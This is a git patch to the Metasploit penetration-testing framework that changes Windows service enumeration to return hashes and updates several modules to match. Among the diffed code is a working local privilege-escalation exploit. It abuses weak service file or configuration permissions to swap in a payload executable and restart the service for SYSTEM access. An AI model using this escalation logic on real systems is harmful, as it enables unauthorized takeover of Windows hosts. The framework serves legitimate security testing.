From ddf23ae8e82d4a9e652ffb12d0492e00fbd3cdae Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 15 Dec 2013 03:00:29 +0000 Subject: [PATCH] Refactor service_list to return array of hashes Update trusted_service_path, service_permissions, net_runtime_modify and enum_services to handle change. Refactor enum_services to tidy it up a bit --- lib/msf/core/post/windows/services.rb | 62 ++++++++++--------- .../windows/local/service_permissions.rb | 26 ++++---- .../windows/local/trusted_service_path.rb | 4 +- .../windows/escalate/net_runtime_modify.rb | 8 +-- modules/post/windows/gather/enum_services.rb | 45 ++++++++------ 5 files changed, 77 insertions(+), 68 deletions(-) diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb index 3b9012a30d..6b35010912 100644 --- a/lib/msf/core/post/windows/services.rb +++ b/lib/msf/core/post/windows/services.rb @@ -86,16 +86,13 @@ module Services # # List all Windows Services present # - # @return [Array] The names of the services. + # @return [Array] Hash Array with Service details (minimum :name). # # @todo Rewrite to allow operating on a remote host # def service_list if load_extapi - services = [] - services.extapi.service.enumerate.each do service - services << service[:name] - end + return session.extapi.service.enumerate else serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" a =[] @@ -110,7 +107,7 @@ module Services begin srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s if srvtype == "32" or srvtype == "16" - services << sk + services << {:name => sk } end rescue end @@ -141,32 +138,39 @@ module Services # @todo Rewrite to allow operating on a remote host # def service_info(name) + service = {} + if load_extapi - svc = session.extapi.service.query(name) - service = { - "Name" => svc[:display], - "Startup" => START_TYPE[svc[:starttype]], - "Command" => svc[:path], - "Credentials" => svc[:startname], - "DACL" => svc[:dacl], - "LogGroup" => svc[:logroup], - "Interactive" => svc[:interactive], - "extended_results" => true - } - else - service = {} - servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s - srvstart = registry_getvaldata(servicekey,"Start").to_i - service["Startup"] = START_TYPE[srvstart] - service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s - service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s - service["DACL"] = nil - service["LogGroup"] = nil - service["Interactive"] = nil - service["extended_results"] = false + begin + svc = session.extapi.service.query(name) + service = { + "Name" => svc[:display], + "Startup" => START_TYPE[svc[:starttype]], + "Command" => svc[:path], + "Credentials" => svc[:startname], + "DACL" => svc[:dacl], + "LogGroup" => svc[:logroup], + "Interactive" => svc[:interactive], + "extended_results" => true + } + + return service + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("Request Error #{e}") + end end + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" + service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s + srvstart = registry_getvaldata(servicekey,"Start").to_i + service["Startup"] = START_TYPE[srvstart] + service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s + service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s + service["DACL"] = nil + service["LogGroup"] = nil + service["Interactive"] = nil + service["extended_results"] = false + return service end diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index 98e3490a9d..53f74a3bfa 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -115,16 +115,16 @@ class Metasploit3 < Msf::Exploit::Local #for each service service_list.each do |serv| begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + srvtype = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","Type").to_s if srvtype != "16" continue end moved = false configed = false #default path, but there should be an ImagePath registry key - source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe") #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s sourcemaybe = session.fs.file.expand_path(sourceorig) if( sourcemaybe[0] == '"' ) sourcemaybe = sourcemaybe.split('"')[1] @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Local session.fs.file.stat(sourcemaybe) #check if it really exists source = sourcemaybe rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}") end #try to exploit weak file permissions if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) @@ -145,49 +145,49 @@ class Metasploit3 < Msf::Exploit::Local end #try to exploit weak config permissions #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) + servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2) if(servhandleret["return"] != 0) #SERVICE_NO_CHANGE is 0xFFFFFFFF if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.") configed = true end adv.CloseServiceHandle(servhandleret["return"]) end if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") + print_status("No exploitable weak permissions found on #{serv[:name]}") continue end - print_status("Restarting #{serv}") + print_status("Restarting #{serv[:name]}") #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30) if(servhandleret["return"] != 0) #SERVICE_CONTROL_STOP = 0x00000001 if(adv.ControlService(servhandleret["return"],1,56)) session.railgun.kernel32.Sleep(1000) adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.") #Cleanup if moved == true session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) end if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) + servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2) adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) adv.CloseServiceHandle(servhandleret["return"]) end else - print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") + print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.") end adv.CloseServiceHandle(servhandleret["return"]) if datastore['AGGRESSIVE'] != true return end else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)") end rescue end diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 85968af822..0520ec349d 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -64,8 +64,8 @@ class Metasploit3 < Msf::Exploit::Local def enum_vuln_services(quick=false) vuln_services = [] - service_list.each do |name| - info = service_info(name) + service_list.each do |service| + info = service_info(service[:name]) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index ee8fdd957c..fb75f44bcf 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -51,12 +51,12 @@ class Metasploit3 < Msf::Post print_status("This may take a few minutes.") # enumerate the installed .NET versions service_list.each do |service| - if service =~ /clr_optimization_.*/ - info = service_info(service) + if service[:name] =~ /clr_optimization_.*/ + info = service_info(service[:name]) paths << info['Command'] - services << service + services << service[:name] begin - service_stop(service) # temporarily stop the service + service_stop(service[:name]) # temporarily stop the service print_status("Found #{info['Name']} installed") rescue print_error("We do not appear to have access to stop #{info['Name']}") diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 8f75d3686f..ed5b654f38 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -56,41 +56,46 @@ class Metasploit3 < Msf::Post print_status("Start Type Filter: " + qtype) end + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'Services', + 'Indent' => 1, + 'SortIndex' => 0, + 'Columns' => ['Name', 'Credentials', 'Command', 'Startup'] + ) + print_status("Listing Service Info for matching services:") - service_list.each do |sname| + service_list.each do |srv| srv_conf = {} - isgood = true + #make sure we got a service name - if sname + if srv[:name] begin - srv_conf = service_info(sname) + srv_conf = service_info(srv[:name]) #filter service based on filters passed, the are cumulative if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase - isgood = false - end - if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase - isgood = false - end - # There may not be a 'Startup', need to check nil - if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase - isgood = false + next end - #if we are still good return the info - if isgood - vprint_status("\tName: #{sname}") - vprint_good("\t\tStartup: #{srv_conf['Startup']}") - vprint_good("\t\tCommand: #{srv_conf['Command']}") - vprint_good("\t\tCredentials: #{srv_conf['Credentials']}") + if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase + next end + + # There may not be a 'Startup', need to check nil + if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase + next + end + + results_table << [srv[:name], srv_conf['Credentials'], srv_conf['Startup'], srv_conf['Command']] + rescue - print_error("An error occured enumerating service: #{sname}") + print_error("An error occured enumerating service: #{srv[:name]}") end else print_error("Problem enumerating services") end - end + + print_line results_table.to_s end end